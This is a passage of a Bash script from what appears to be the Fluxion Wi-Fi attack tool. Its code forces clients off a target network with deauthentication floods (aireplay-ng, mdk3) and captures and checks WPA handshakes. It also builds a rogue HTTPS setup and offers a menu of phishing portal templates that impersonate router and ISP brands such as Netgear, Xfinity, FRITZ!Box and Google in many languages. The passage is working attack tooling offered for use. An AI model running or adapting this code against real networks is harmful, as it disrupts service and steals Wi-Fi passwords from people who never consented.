                                                        echo -e "$green $(echo $i | cut -d " " -f1) $yellow$(echo $i | cut -d " " -f3 | tr '[:lower:]' '[:upper:]')$transparent ($green $(echo $i | cut -d "(" -f2 | cut -d "'" -f2)$transparent)"
                                                done

                                        echo -e "Host ${green}MAC$transparent"
                                        echo -e "$green #1: $yellow$Host_MAC$transparent ($green $Host_SSID$transparent)"
                                        sleep 7
                                        handshakelocation
                                fi
                        else
                                echo -e "File ${red}NOT$transparent present"
                                sleep 2
                                handshakelocation
                        fi
                fi
}

function deauthforce {


        if [ "$FLUX_AUTO" = "1" ];then
                 handshakemode="normal"; askclientsel
        else

                conditional_clear

                top
                while true; do

                        echo -e ""$red"["$yellow"2"$red"]"$transparent" $header_deauthforce"
                        echo "                                       "
                        echo -e "      "$red"["$yellow"1"$red"]"$grey" pyrit" $transparent
                        echo -e "      "$red"["$yellow"2"$red"]"$transparent" $deauthforce_option_1"
                        echo -e "      "$red"["$yellow"3"$red"]"$red" $general_back" $transparent
                        echo "                                       "
                        echo -n -e ""$red"["$blue"deltaxflux"$yellow"@"$white"fluxion"$red"]-["$yellow"~"$red"]"$transparent""
                        read yn
                        echo ""
                        case $yn in
                                1 ) handshakemode="normal"; askclientsel; break ;;
                                2 ) handshakemode="hard"; askclientsel; break ;;
                                3 ) askauth; break ;;
                                * ) echo "
                $general_case_error"; conditional_clear ;;
                        esac
                done
        fi
}

############################################### < MENU > ###############################################






############################################# < HANDSHAKE > ############################################

# Type of deauthentication to be performed
function askclientsel {

        if [ "$FLUX_AUTO" = "1" ];then
                deauth all
        else
                conditional_clear

                while true; do
                        top

                        echo -e ""$red"["$yellow"2"$red"]"$transparent" $header_deauthMENU"
                        echo "                                       "
                        echo -e "      "$red"["$yellow"1"$red"]"$grey" Deauth all"$transparent
                        echo -e "      "$red"["$yellow"2"$red"]"$transparent" Deauth all [mdk3]"
                        echo -e "      "$red"["$yellow"3"$red"]"$transparent" Deauth target "
                        echo -e "      "$red"["$yellow"4"$red"]"$transparent" Rescan networks "
                        echo -e "      "$red"["$yellow"5"$red"]"$transparent" Exit"
                        echo "                                       "
                        echo -n -e ""$red"["$blue"deltaxflux"$yellow"@"$white"fluxion"$red"]-["$yellow"~"$red"]"$transparent""
                        read yn
                        echo ""
                        case $yn in
                                1 ) deauth all; break ;;
                                2 ) deauth mdk3; break ;;
                                3 ) deauth esp; break ;;
                                4 ) killall airodump-ng &>$flux_output_device; ghost; break;;
                                5 ) exitmode; break ;;
                                * ) echo "
        $general_case_error"; conditional_clear ;;
                        esac
                done
        fi
}

#
function deauth {

        conditional_clear

        iwconfig $WIFI_MONITOR channel $Host_CHAN

        case $1 in
                all )
                        DEAUTH=deauthall
                        capture & $DEAUTH
                        CSVDB=$Host_MAC-01.csv
                ;;
                mdk3 )
                        DEAUTH=deauthmdk3
                        capture & $DEAUTH &
                        CSVDB=$Host_MAC-01.csv
                ;;
                esp )
                        DEAUTH=deauthesp
                        HOST=`cat $DUMP_PATH/$CSVDB | grep -a $Host_MAC | awk '{ print $1 }'| grep -a -v 00:00:00:00| grep -v $Host_MAC`
                        LINEAS_CLIENTES=`echo "$HOST" | wc -m | awk '{print $1}'`


                        if [ $LINEAS_CLIENTES -le 5 ]; then
                                DEAUTH=deauthall
                                capture & $DEAUTH
                                CSVDB=$Host_MAC-01.csv
                                deauth

                        fi

                        capture
                        for CLIENT in $HOST; do
                                Client_MAC=`echo ${CLIENT:0:17}`
                                deauthesp
                        done
                        $DEAUTH
                        CSVDB=$Host_MAC-01.csv
                ;;
        esac


        deauthMENU

}

function deauthMENU {

        if [ "$FLUX_AUTO" = "1" ];then
                while true;do
                        checkhandshake && sleep 5
                done
        else

                while true; do
                        conditional_clear

                        clear
                        top

                        echo -e ""$red"["$yellow"2"$red"]"$transparent" $header_deauthMENU "
                        echo
                        echo -e "Status handshake: $Handshake_statuscheck"
                        echo
                        echo -e "      "$red"["$yellow"1"$red"]"$grey" $deauthMENU_option_1"
                        echo -e "      "$red"["$yellow"2"$red"]"$transparent" $general_back "
                        echo -e "      "$red"["$yellow"3"$red"]"$transparent" Select another network"
                        echo -e "      "$red"["$yellow"4"$red"]"$transparent" Exit"
                        echo -n '      #> '
                        read yn

                        case $yn in
                                1 ) checkhandshake;;
                                2 ) conditional_clear; killall xterm; askclientsel; break;;
                                3 ) killall airodump-ng mdk3 aireplay-ng xterm &>$flux_output_device; CSVDB=dump-01.csv; breakmode=1; killall xterm; selection; break ;;
                                4 ) exitmode; break;;
                                * ) echo "
        $general_case_error"; conditional_clear ;;
                        esac

                done
        fi
}

# Capture all
function capture {

        conditional_clear
        if ! ps -A | grep -q airodump-ng; then

                rm -rf $DUMP_PATH/$Host_MAC*
                xterm $HOLD -title "Capturing data on channel --> $Host_CHAN" $TOPRIGHT -bg "#000000" -fg "#FFFFFF" -e airodump-ng  --bssid $Host_MAC -w $DUMP_PATH/$Host_MAC -c $Host_CHAN -a $WIFI_MONITOR --ignore-negative-one &
        fi
}

# Check the handshake before continuing
function checkhandshake {

        if [ "$handshakemode" = "normal" ]; then
                if aircrack-ng $DUMP_PATH/$Host_MAC-01.cap | grep -q "1 handshake"; then
                        killall airodump-ng mdk3 aireplay-ng &>$flux_output_device
                        wpaclean $HANDSHAKE_PATH/$Host_SSID2-$Host_MAC.cap $DUMP_PATH/$Host_MAC-01.cap &>$flux_output_device
                        certssl
                        i=2
                        break

                else
                        Handshake_statuscheck="${red}Not_Found$transparent"

                fi
        elif [ "$handshakemode" = "hard" ]; then
                pyrit -r $DUMP_PATH/$Host_MAC-01.cap -o $DUMP_PATH/test.cap stripLive &>$flux_output_device

                if pyrit -r $DUMP_PATH/test.cap analyze 2>&1 | grep -q "good,"; then
                        killall airodump-ng mdk3 aireplay-ng &>$flux_output_device
                        pyrit -r $DUMP_PATH/test.cap -o $HANDSHAKE_PATH/$Host_SSID2-$Host_MAC.cap strip &>$flux_output_device
                        certssl
                        i=2
                        break

                else
                        if aircrack-ng $DUMP_PATH/$Host_MAC-01.cap | grep -q "1 handshake"; then
                                Handshake_statuscheck="${yellow}Corrupted$transparent"
                        else
                                Handshake_statuscheck="${red}Not_found$transparent"

                        fi
                fi

                rm $DUMP_PATH/test.cap &>$flux_output_device
        fi

}

############################################# < HANDSHAKE > ############################################

function certssl {

# Test if the ssl certificate is generated correcly if there is any

        if [ -f $DUMP_PATH/server.pem ]; then
                if [ -s $DUMP_PATH/server.pem ]; then
                        webinterface
                        break
                else

                        if [ "$FLUX_AUTO" = "1" ];then
                                creassl
                        fi
                        while true;do
                        conditional_clear
                        top
                        echo "                                       "
                        echo -e ""$red"["$yellow"2"$red"]"$transparent" Certificate invalid or not present, please choose an option"
                        echo "                                       "
                        echo -e "      "$red"["$yellow"1"$red"]"$grey" Create a SSL certificate"
                        echo -e "      "$red"["$yellow"2"$red"]"$transparent" Search for SSL certificate" # hop to certssl check again
                        echo -e "      "$red"["$yellow"3"$red"]"$red" Exit" $transparent
                        echo " "
                        echo -n '      #> '
                        read yn

                        case $yn in
                                1 ) creassl;;
                                2 ) certssl;break;;
                                3 ) exitmode; break;;
                                * ) echo "$general_case_error"; conditional_clear
                        esac
                        done
                 fi
        else
                        if [ "$FLUX_AUTO" = "1" ];then
                                creassl
                        fi

                        while true; do
                        conditional_clear
                        top
                        echo "                                                                      "
                        echo "  Certificate invalid or not present, please choice"
                        echo "                                       "
                        echo -e "      "$red"["$yellow"1"$red"]"$grey" Create  a SSL certificate"
                        echo -e "      "$red"["$yellow"2"$red"]"$transparent" Search for SSl certificate" # hop to certssl check again
                        echo -e "      "$red"["$yellow"3"$red"]"$red" Exit" $transparent
                        echo " "
                        echo -n '      #> '
                        read yn

                        case $yn in
                                1 ) creassl;;
                                2 ) certssl; break;;
                                3 ) exitmode; break;;
                                * ) echo "$general_case_error"; conditional_clear
                        esac
                done
        fi



}

# Create Self-Signed SSL Certificate
function creassl {
        xterm -title "Create Self-Signed SSL Certificate" -e openssl req -subj '/CN=SEGURO/O=SEGURA/OU=SEGURA/C=US' -new -newkey rsa:2048 -days 365 -nodes -x509 -keyout /$DUMP_PATH/server.pem -out /$DUMP_PATH/server.pem # more details there https://www.openssl.org/docs/manmaster/apps/openssl.html
        certssl
}

############################################# < ATAQUE > ############################################

# Select attack strategie that will be used
function webinterface {


        chmod 400 $DUMP_PATH/server.pem

        if [ "$FLUX_AUTO" = "1" ];then
                matartodo; ConnectionRESET; selection
        else
                while true; do
                        conditional_clear
                        top

                        infoap
                        echo
                        echo -e ""$red"["$yellow"2"$red"]"$transparent" $header_webinterface"
                        echo
                        echo -e "      "$red"["$yellow"1"$red"]"$grey" Web Interface"
                        echo -e "      "$red"["$yellow"2"$red"]"$transparent" \e[1;31mExit"$transparent""
                        echo
                        echo -n "#? "
                        read yn
                        case $yn in
                        1 ) matartodo; ConnectionRESET; selection; break;;
                        2 ) matartodo; exitmode; break;;
                        esac
                done
        fi
}

function ConnectionRESET {

        if [ "$FLUX_AUTO" = "1" ];then
                webconf=1
        else
                while true; do
                        conditional_clear
                        top

                        infoap
                        n=1

                        echo
                        echo -e ""$red"["$yellow"2"$red"]"$transparent" $header_ConnectionRESET"
                        echo
                        echo -e "      "$red"["$yellow"$n"$red"]"$transparent"  English     [ENG]  (NEUTRA)";n=`expr $n + 1`
                        echo -e "      "$red"["$yellow"$n"$red"]"$transparent"  German      [GER]  (NEUTRA)";n=`expr $n + 1`
                        echo -e "      "$red"["$yellow"$n"$red"]"$transparent"  Russian     [RUS]  (NEUTRA)";n=`expr $n + 1`
                        echo -e "      "$red"["$yellow"$n"$red"]"$transparent"  Italian     [IT]   (NEUTRA)";n=`expr $n + 1`
                        echo -e "      "$red"["$yellow"$n"$red"]"$transparent"  Spanish     [ESP]  (NEUTRA)";n=`expr $n + 1`
                        echo -e "      "$red"["$yellow"$n"$red"]"$transparent"  Portuguese  [POR]  (NEUTRA)";n=`expr $n + 1`
                        echo -e "      "$red"["$yellow"$n"$red"]"$transparent"  Chinese     [CN]   (NEUTRA)";n=`expr $n + 1`
                        echo -e "      "$red"["$yellow"$n"$red"]"$transparent"  French      [FR]   (NEUTRA)";n=`expr $n + 1`
                        echo -e "      "$red"["$yellow"$n"$red"]"$transparent"  Turkish     [TR]   (NEUTRA)";n=`expr $n + 1`
                        echo -e "      "$red"["$yellow"$n"$red"]"$transparent" Romanian    [RO]   (NEUTRA)";n=`expr $n + 1`
                        echo -e "      "$red"["$yellow"$n"$red"]"$transparent" Hungarian   [HU]   (NEUTRA)";n=`expr $n + 1`
                        echo -e "      "$red"["$yellow"$n"$red"]"$transparent" Arabic      [ARA]  (NEUTRA)";n=`expr $n + 1`
                        echo -e "      "$red"["$yellow"$n"$red"]"$transparent" Greek       [GR]   (NEUTRA)";n=`expr $n + 1`
                        echo -e "      "$red"["$yellow"$n"$red"]"$transparent" Czech       [CZ]   (NEUTRA)";n=`expr $n + 1`
                        echo -e "      "$red"["$yellow"$n"$red"]"$transparent" Norwegian   [NO]   (NEUTRA)";n=`expr $n + 1`
                        echo -e "      "$red"["$yellow"$n"$red"]"$transparent" Bulgarian   [BG]   (NEUTRA)";n=`expr $n + 1`
                        echo -e "      "$red"["$yellow"$n"$red"]"$transparent" Serbian     [SRB]  (NEUTRA)";n=`expr $n + 1`
                        echo -e "      "$red"["$yellow"$n"$red"]"$transparent" Polish      [PL]   (NEUTRA)";n=`expr $n + 1`
                        echo -e "      "$red"["$yellow"$n"$red"]"$transparent" Indonesian  [ID]   (NEUTRA)";n=`expr $n + 1`
                        echo -e "      "$red"["$yellow"$n"$red"]"$transparent" Dutch       [NL]   (NEUTRA)";n=`expr $n + 1`
                echo -e "      "$red"["$yellow"$n"$red"]"$transparent" Danish      [DAN]  (NEUTRA)";n=`expr $n + 1`
                echo -e "      "$red"["$yellow"$n"$red"]"$transparent" Hebrew      [HE]   (NEUTRA)";n=`expr $n + 1`
                echo -e "      "$red"["$yellow"$n"$red"]"$transparent" Thai        [TH]   (NEUTRA)";n=`expr $n + 1`
            echo -e "      "$red"["$yellow"$n"$red"]"$transparent" Portuguese  [BR]   (NEUTRA)";n=`expr $n + 1`
            echo -e "      "$red"["$yellow"$n"$red"]"$transparent" Slovenian   [SVN]  (NEUTRA)";n=`expr $n + 1`
            echo -e "      "$red"["$yellow"$n"$red"]"$transparent" Belkin      [ENG]";n=`expr $n + 1`
                        echo -e "      "$red"["$yellow"$n"$red"]"$transparent" Netgear     [ENG]";n=`expr $n + 1`
                        echo -e "      "$red"["$yellow"$n"$red"]"$transparent" Huawei      [ENG]";n=`expr $n + 1`
                        echo -e "      "$red"["$yellow"$n"$red"]"$transparent" Verizon     [ENG]";n=`expr $n + 1`
                        echo -e "      "$red"["$yellow"$n"$red"]"$transparent" Netgear     [ESP]";n=`expr $n + 1`
                        echo -e "      "$red"["$yellow"$n"$red"]"$transparent" Arris       [ESP]";n=`expr $n + 1`
                        echo -e "      "$red"["$yellow"$n"$red"]"$transparent" Vodafone    [ESP]";n=`expr $n + 1`
                        echo -e "      "$red"["$yellow"$n"$red"]"$transparent" TP-Link     [ENG]";n=`expr $n + 1`
                        echo -e "      "$red"["$yellow"$n"$red"]"$transparent" Ziggo       [NL]";n=` expr $n + 1`
                        echo -e "      "$red"["$yellow"$n"$red"]"$transparent" KPN         [NL]";n=` expr $n + 1`
            echo -e "      "$red"["$yellow"$n"$red"]"$transparent" Ziggo2016   [NL]";n=` expr $n + 1`
                        echo -e "      "$red"["$yellow"$n"$red"]"$transparent" FRITZBOX_DE [DE] ";n=` expr $n + 1`
                        echo -e "      "$red"["$yellow"$n"$red"]"$transparent" FRITZBOX_ENG[ENG] ";n=` expr $n + 1`
                        echo -e "      "$red"["$yellow"$n"$red"]"$transparent" GENEXIS_DE  [DE] ";n=` expr $n + 1`
                        echo -e "      "$red"["$yellow"$n"$red"]"$transparent" Login-Netgear[Login-Netgear] ";n=` expr $n + 1`
                        echo -e "      "$red"["$yellow"$n"$red"]"$transparent" Login-Xfinity[Login-Xfinity] ";n=` expr $n + 1`
                        echo -e "      "$red"["$yellow"$n"$red"]"$transparent" Telekom ";n=` expr $n + 1`
                        echo -e "      "$red"["$yellow"$n"$red"]"$transparent" Google";n=` expr $n + 1`
      echo -e "      "$red"["$yellow"$n"$red"]"$transparent" MOVISTAR     [ESP]";n=`expr $n + 1`
                        echo -e "      "$red"["$yellow"$n"$red"]"$transparent"\e[1;31m $general_back"$transparent""
                        echo
                        echo -n "#? "
                        read webconf

                        if [ "$webconf" = "1" ]; then
                                DIALOG_WEB_ERROR=$DIALOG_WEB_ERROR_ENG
                                DIALOG_WEB_INFO=$DIALOG_WEB_INFO_ENG
                                DIALOG_WEB_INPUT=$DIALOG_WEB_INPUT_ENG
                                DIALOG_WEB_OK=$DIALOG_WEB_OK_ENG
                                DIALOG_WEB_SUBMIT=$DIALOG_WEB_SUBMIT_ENG
                                DIALOG_WEB_BACK=$DIALOG_WEB_BACK_ENG
                                DIALOG_WEB_ERROR_MSG=$DIALOG_WEB_ERROR_MSG_ENG
                                DIALOG_WEB_LENGTH_MIN=$DIALOG_WEB_LENGTH_MIN_ENG
                                DIALOG_WEB_LENGTH_MAX=$DIALOG_WEB_LENGTH_MAX_ENG
                                DIALOG_WEB_DIR=$DIALOG_WEB_DIR_ENG
                                NEUTRA
                                break

                        elif [ "$webconf" = "2" ]; then
                                DIALOG_WEB_ERROR=$DIALOG_WEB_ERROR_GER
                                DIALOG_WEB_INFO=$DIALOG_WEB_INFO_GER
                                DIALOG_WEB_INPUT=$DIALOG_WEB_INPUT_GER
                                DIALOG_WEB_OK=$DIALOG_WEB_OK_GER
                                DIALOG_WEB_SUBMIT=$DIALOG_WEB_SUBMIT_GER
                                DIALOG_WEB_BACK=$DIALOG_WEB_BACK_GER
                                DIALOG_WEB_ERROR_MSG=$DIALOG_WEB_ERROR_MSG_GER
                                DIALOG_WEB_LENGTH_MIN=$DIALOG_WEB_LENGTH_MIN_GER
                                DIALOG_WEB_LENGTH_MAX=$DIALOG_WEB_LENGTH_MAX_GER
                                DIALOG_WEB_DIR=$DIALOG_WEB_DIR_GER
                                NEUTRA
                                break

                        elif [ "$webconf" = "3" ]; then
                                DIALOG_WEB_ERROR=$DIALOG_WEB_ERROR_RUS
                                DIALOG_WEB_INFO=$DIALOG_WEB_INFO_RUS
                                DIALOG_WEB_INPUT=$DIALOG_WEB_INPUT_RUS
                                DIALOG_WEB_OK=$DIALOG_WEB_OK_RUS
                                DIALOG_WEB_SUBMIT=$DIALOG_WEB_SUBMIT_RUS
                                DIALOG_WEB_BACK=$DIALOG_WEB_BACK_RUS
                                DIALOG_WEB_ERROR_MSG=$DIALOG_WEB_ERROR_MSG_RUS
                                DIALOG_WEB_LENGTH_MIN=$DIALOG_WEB_LENGTH_MIN_RUS
                                DIALOG_WEB_LENGTH_MAX=$DIALOG_WEB_LENGTH_MAX_RUS
                                DIALOG_WEB_DIR=$DIALOG_WEB_DIR_RUS
                                NEUTRA
                                break

                        elif [ "$webconf" = "4" ]; then
                                DIALOG_WEB_ERROR=$DIALOG_WEB_ERROR_IT
                                DIALOG_WEB_INFO=$DIALOG_WEB_INFO_IT
                                DIALOG_WEB_INPUT=$DIALOG_WEB_INPUT_IT
                                DIALOG_WEB_OK=$DIALOG_WEB_OK_IT
                                DIALOG_WEB_SUBMIT=$DIALOG_WEB_SUBMIT_IT
                                DIALOG_WEB_BACK=$DIALOG_WEB_BACK_IT
                                DIALOG_WEB_ERROR_MSG=$DIALOG_WEB_ERROR_MSG_IT
                                DIALOG_WEB_LENGTH_MIN=$DIALOG_WEB_LENGTH_MIN_IT
                                DIALOG_WEB_LENGTH_MAX=$DIALOG_WEB_LENGTH_MAX_IT
                                DIALOG_WEB_DIR=$DIALOG_WEB_DIR_IT
                                NEUTRA
                                break

                        elif [ "$webconf" = "5" ]; then
                                DIALOG_WEB_ERROR=$DIALOG_WEB_ERROR_ESP
                                DIALOG_WEB_INFO=$DIALOG_WEB_INFO_ESP
                                DIALOG_WEB_INPUT=$DIALOG_WEB_INPUT_ESP
                                DIALOG_WEB_OK=$DIALOG_WEB_OK_ESP
                                DIALOG_WEB_SUBMIT=$DIALOG_WEB_SUBMIT_ESP
                                DIALOG_WEB_BACK=$DIALOG_WEB_BACK_ESP
                                DIALOG_WEB_ERROR_MSG=$DIALOG_WEB_ERROR_MSG_ESP
                                DIALOG_WEB_LENGTH_MIN=$DIALOG_WEB_LENGTH_MIN_ESP
                                DIALOG_WEB_LENGTH_MAX=$DIALOG_WEB_LENGTH_MAX_ESP
                                DIALOG_WEB_DIR=$DIALOG_WEB_DIR_ESP
                                NEUTRA
                                break

                        elif [ "$webconf" = "6" ]; then
                                DIALOG_WEB_ERROR=$DIALOG_WEB_ERROR_POR
                                DIALOG_WEB_INFO=$DIALOG_WEB_INFO_POR
                                DIALOG_WEB_INPUT=$DIALOG_WEB_INPUT_POR
                                DIALOG_WEB_OK=$DIALOG_WEB_OK_POR
                                DIALOG_WEB_SUBMIT=$DIALOG_WEB_SUBMIT_POR
                                DIALOG_WEB_BACK=$DIALOG_WEB_BACK_POR
                                DIALOG_WEB_ERROR_MSG=$DIALOG_WEB_ERROR_MSG_POR
                                DIALOG_WEB_LENGTH_MIN=$DIALOG_WEB_LENGTH_MIN_POR
                                DIALOG_WEB_LENGTH_MAX=$DIALOG_WEB_LENGTH_MAX_POR
                                DIALOG_WEB_DIR=$DIALOG_WEB_DIR_POR
                                NEUTRA
                                break

                        elif [ "$webconf" = "7" ]; then
                                DIALOG_WEB_ERROR=$DIALOG_WEB_ERROR_CN
                                DIALOG_WEB_INFO=$DIALOG_WEB_INFO_CN
                                DIALOG_WEB_INPUT=$DIALOG_WEB_INPUT_CN
                                DIALOG_WEB_OK=$DIALOG_WEB_OK_CN
                                DIALOG_WEB_SUBMIT=$DIALOG_WEB_SUBMIT_CN
                                DIALOG_WEB_BACK=$DIALOG_WEB_BACK_CN
                                DIALOG_WEB_ERROR_MSG=$DIALOG_WEB_ERROR_MSG_CN
                                DIALOG_WEB_LENGTH_MIN=$DIALOG_WEB_LENGTH_MIN_CN
                                DIALOG_WEB_LENGTH_MAX=$DIALOG_WEB_LENGTH_MAX_CN
                                DIALOG_WEB_DIR=$DIALOG_WEB_DIR_CN
                                NEUTRA
                                break

                        elif [ "$webconf" = "8" ]; then
                                DIALOG_WEB_ERROR=$DIALOG_WEB_ERROR_FR
                                DIALOG_WEB_INFO=$DIALOG_WEB_INFO_FR
                                DIALOG_WEB_INPUT=$DIALOG_WEB_INPUT_FR
                                DIALOG_WEB_OK=$DIALOG_WEB_OK_FR
                                DIALOG_WEB_SUBMIT=$DIALOG_WEB_SUBMIT_FR
                                DIALOG_WEB_BACK=$DIALOG_WEB_BACK_FR
                                DIALOG_WEB_ERROR_MSG=$DIALOG_WEB_ERROR_MSG_FR
                                DIALOG_WEB_LENGTH_MIN=$DIALOG_WEB_LENGTH_MIN_FR
                                DIALOG_WEB_LENGTH_MAX=$DIALOG_WEB_LENGTH_MAX_FR
                                DIALOG_WEB_DIR=$DIALOG_WEB_DIR_FR
                                NEUTRA
                                break

                        elif [ "$webconf" = "9" ]; then
                                DIALOG_WEB_ERROR=$DIALOG_WEB_ERROR_TR
                                DIALOG_WEB_INFO=$DIALOG_WEB_INFO_TR
                                DIALOG_WEB_INPUT=$DIALOG_WEB_INPUT_TR
                                DIALOG_WEB_OK=$DIALOG_WEB_OK_TR
                                DIALOG_WEB_SUBMIT=$DIALOG_WEB_SUBMIT_TR
                                DIALOG_WEB_BACK=$DIALOG_WEB_BACK_TR
                                DIALOG_WEB_ERROR_MSG=$DIALOG_WEB_ERROR_MSG_TR
                                DIALOG_WEB_LENGTH_MIN=$DIALOG_WEB_LENGTH_MIN_TR
                                DIALOG_WEB_LENGTH_MAX=$DIALOG_WEB_LENGTH_MAX_TR
                                DIALOG_WEB_DIR=$DIALOG_WEB_DIR_TR
                                NEUTRA
                                break

                        elif [ "$webconf" = "10" ]; then
                                DIALOG_WEB_ERROR=$DIALOG_WEB_ERROR_RO
                                DIALOG_WEB_INFO=$DIALOG_WEB_INFO_RO
                                DIALOG_WEB_INPUT=$DIALOG_WEB_INPUT_RO
                                DIALOG_WEB_OK=$DIALOG_WEB_OK_RO
                                DIALOG_WEB_SUBMIT=$DIALOG_WEB_SUBMIT_RO
                                DIALOG_WEB_BACK=$DIALOG_WEB_BACK_RO
                                DIALOG_WEB_ERROR_MSG=$DIALOG_WEB_ERROR_MSG_RO
                                DIALOG_WEB_LENGTH_MIN=$DIALOG_WEB_LENGTH_MIN_RO
                                DIALOG_WEB_LENGTH_MAX=$DIALOG_WEB_LENGTH_MAX_RO
                                DIALOG_WEB_DIR=$DIALOG_WEB_DIR_RO
                                NEUTRA
                                break

                        elif [ "$webconf" = "11" ]; then
                                DIALOG_WEB_ERROR=$DIALOG_WEB_ERROR_HU
                                DIALOG_WEB_INFO=$DIALOG_WEB_INFO_HU
                                DIALOG_WEB_INPUT=$DIALOG_WEB_INPUT_HU
                                DIALOG_WEB_OK=$DIALOG_WEB_OK_HU
                                DIALOG_WEB_SUBMIT=$DIALOG_WEB_SUBMIT_HU
                                DIALOG_WEB_BACK=$DIALOG_WEB_BACK_HU
                                DIALOG_WEB_ERROR_MSG=$DIALOG_WEB_ERROR_MSG_HU
                                DIALOG_WEB_LENGTH_MIN=$DIALOG_WEB_LENGTH_MIN_HU
                                DIALOG_WEB_LENGTH_MAX=$DIALOG_WEB_LENGTH_MAX_HU
                                DIALOG_WEB_DIR=$DIALOG_WEB_DIR_HU
                                NEUTRA
                                break

                        elif [ "$webconf" = "12" ]; then
                                DIALOG_WEB_ERROR=$DIALOG_WEB_ERROR_ARA
                                DIALOG_WEB_INFO=$DIALOG_WEB_INFO_ARA
                                DIALOG_WEB_INPUT=$DIALOG_WEB_INPUT_ARA
                                DIALOG_WEB_OK=$DIALOG_WEB_OK_ARA
                                DIALOG_WEB_SUBMIT=$DIALOG_WEB_SUBMIT_ARA
                                DIALOG_WEB_BACK=$DIALOG_WEB_BACK_ARA
                                DIALOG_WEB_ERROR_MSG=$DIALOG_WEB_ERROR_MSG_ARA
                                DIALOG_WEB_LENGTH_MIN=$DIALOG_WEB_LENGTH_MIN_ARA
                                DIALOG_WEB_LENGTH_MAX=$DIALOG_WEB_LENGTH_MAX_ARA
                                DIALOG_WEB_DIR=$DIALOG_WEB_DIR_ARA
                                NEUTRA
                                break

                        elif [ "$webconf" = "13" ]; then
                                DIALOG_WEB_ERROR=$DIALOG_WEB_ERROR_GR
                                DIALOG_WEB_INFO=$DIALOG_WEB_INFO_GR
                                DIALOG_WEB_INPUT=$DIALOG_WEB_INPUT_GR
                                DIALOG_WEB_OK=$DIALOG_WEB_OK_GR
                                DIALOG_WEB_SUBMIT=$DIALOG_WEB_SUBMIT_GR
                                DIALOG_WEB_BACK=$DIALOG_WEB_BACK_GR
                                DIALOG_WEB_ERROR_MSG=$DIALOG_WEB_ERROR_MSG_GR
                                DIALOG_WEB_LENGTH_MIN=$DIALOG_WEB_LENGTH_MIN_GR
                                DIALOG_WEB_LENGTH_MAX=$DIALOG_WEB_LENGTH_MAX_GR
                                DIALOG_WEB_DIR=$DIALOG_WEB_DIR_GR
                                NEUTRA
                                break

                        elif [ "$webconf" = "14" ]; then
                                DIALOG_WEB_ERROR=$DIALOG_WEB_ERROR_CZ
                                DIALOG_WEB_INFO=$DIALOG_WEB_INFO_CZ
                                DIALOG_WEB_INPUT=$DIALOG_WEB_INPUT_CZ
                                DIALOG_WEB_OK=$DIALOG_WEB_OK_CZ
                                DIALOG_WEB_SUBMIT=$DIALOG_WEB_SUBMIT_CZ
                                DIALOG_WEB_BACK=$DIALOG_WEB_BACK_CZ
                                DIALOG_WEB_ERROR_MSG=$DIALOG_WEB_ERROR_MSG_CZ
                                DIALOG_WEB_LENGTH_MIN=$DIALOG_WEB_LENGTH_MIN_CZ
                                DIALOG_WEB_LENGTH_MAX=$DIALOG_WEB_LENGTH_MAX_CZ
                                DIALOG_WEB_DIR=$DIALOG_WEB_DIR_CZ
                                NEUTRA
                                break

                        elif [ "$webconf" = "15" ]; then
                                DIALOG_WEB_ERROR=$DIALOG_WEB_ERROR_NO
                                DIALOG_WEB_INFO=$DIALOG_WEB_INFO_NO
                                DIALOG_WEB_INPUT=$DIALOG_WEB_INPUT_NO
                                DIALOG_WEB_OK=$DIALOG_WEB_OK_NO
                                DIALOG_WEB_SUBMIT=$DIALOG_WEB_SUBMIT_NO
                                DIALOG_WEB_BACK=$DIALOG_WEB_BACK_NO
                                DIALOG_WEB_ERROR_MSG=$DIALOG_WEB_ERROR_MSG_NO
                                DIALOG_WEB_LENGTH_MIN=$DIALOG_WEB_LENGTH_MIN_NO
                                DIALOG_WEB_LENGTH_MAX=$DIALOG_WEB_LENGTH_MAX_NO
                                DIALOG_WEB_DIR=$DIALOG_WEB_DIR_NO
                                NEUTRA
                                break

                        elif [ "$webconf" = "16" ]; then
                                DIALOG_WEB_ERROR=$DIALOG_WEB_ERROR_BG
                                DIALOG_WEB_INFO=$DIALOG_WEB_INFO_BG
                                DIALOG_WEB_INPUT=$DIALOG_WEB_INPUT_BG
                                DIALOG_WEB_OK=$DIALOG_WEB_OK_BG
                                DIALOG_WEB_SUBMIT=$DIALOG_WEB_SUBMIT_BG
                                DIALOG_WEB_BACK=$DIALOG_WEB_BACK_BG
                                DIALOG_WEB_ERROR_MSG=$DIALOG_WEB_ERROR_MSG_BG
                                DIALOG_WEB_LENGTH_MIN=$DIALOG_WEB_LENGTH_MIN_BG
                                DIALOG_WEB_LENGTH_MAX=$DIALOG_WEB_LENGTH_MAX_BG
                                DIALOG_WEB_DIR=$DIALOG_WEB_DIR_BG
                                NEUTRA
                                break

            elif [ "$webconf" = "17" ]; then
                                DIALOG_WEB_ERROR=$DIALOG_WEB_ERROR_SRB
                                DIALOG_WEB_INFO=$DIALOG_WEB_INFO_SRB
                                DIALOG_WEB_INPUT=$DIALOG_WEB_INPUT_SRB
                                DIALOG_WEB_OK=$DIALOG_WEB_OK_SRB
                                DIALOG_WEB_SUBMIT=$DIALOG_WEB_SUBMIT_SRB
                                DIALOG_WEB_BACK=$DIALOG_WEB_BACK_SRB
                                DIALOG_WEB_ERROR_MSG=$DIALOG_WEB_ERROR_MSG_SRB
                                DIALOG_WEB_LENGTH_MIN=$DIALOG_WEB_LENGTH_MIN_SRB
                                DIALOG_WEB_LENGTH_MAX=$DIALOG_WEB_LENGTH_MAX_SRB
                                DIALOG_WEB_DIR=$DIALOG_WEB_DIR_SRB
                                NEUTRA
                                break

                        elif [ "$webconf" = "18" ]; then
                                DIALOG_WEB_ERROR=$DIALOG_WEB_ERROR_PL
                                DIALOG_WEB_INFO=$DIALOG_WEB_INFO_PL
                                DIALOG_WEB_INPUT=$DIALOG_WEB_INPUT_PL
                                DIALOG_WEB_OK=$DIALOG_WEB_OK_PL
                                DIALOG_WEB_SUBMIT=$DIALOG_WEB_SUBMIT_PL
                                DIALOG_WEB_BACK=$DIALOG_WEB_BACK_PL
                                DIALOG_WEB_ERROR_MSG=$DIALOG_WEB_ERROR_MSG_PL
                                DIALOG_WEB_LENGTH_MIN=$DIALOG_WEB_LENGTH_MIN_PL
                                DIALOG_WEB_LENGTH_MAX=$DIALOG_WEB_LENGTH_MAX_PL
                                DIALOG_WEB_DIR=$DIALOG_WEB_DIR_PL
                                NEUTRA
                                break

                        elif [ "$webconf" = "19" ]; then
                                DIALOG_WEB_ERROR=$DIALOG_WEB_ERROR_ID
                                DIALOG_WEB_INFO=$DIALOG_WEB_INFO_ID
                                DIALOG_WEB_INPUT=$DIALOG_WEB_INPUT_ID
